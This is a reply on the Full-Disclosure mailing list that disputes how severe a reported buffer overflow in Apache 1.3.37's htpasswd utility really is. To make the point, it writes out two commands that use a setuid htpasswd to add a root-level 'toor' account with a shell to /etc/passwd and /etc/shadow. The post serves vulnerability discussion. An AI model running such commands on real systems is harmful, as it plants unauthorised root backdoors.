Re: Apache 1.3.37 htpasswd buffer overflow vulnerability

[Andrew Farmer <andfarm () gmail com>]

On 02 Jan 07, at 12:20, Matias Soler wrote:
> Synopsis: Apache 1.3.37 htpasswd buffer overflow vulnerability
> Version: 1.3.37 (latest 1.3.xx)
>
> Product
> =======
> Apache htpasswd utility
>
> Issue
> =====
> A buffer overflow vilnerability has been found, it is dangerous  
> only on
> environment where the binary is suid root.

If htpasswd is setuid, then one could just as easily:

   htpasswd -bp /etc/passwd toor x:0:0:toor::/:/bin/sh
   htpasswd -bp /etc/shadow toor xxa8fjDF6WqBA:0:0:99999:7:::

and get root. (Or any number of things - sudoers, crontab, SSH keys -  
take your pick.)

It's possible that this buffer overflow may be significant in very  
limited circumstances - if the utility is executed from a web  
application, perhaps. However, this seems like a rather limited-scope  
issue.

-- Andrew Farmer

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/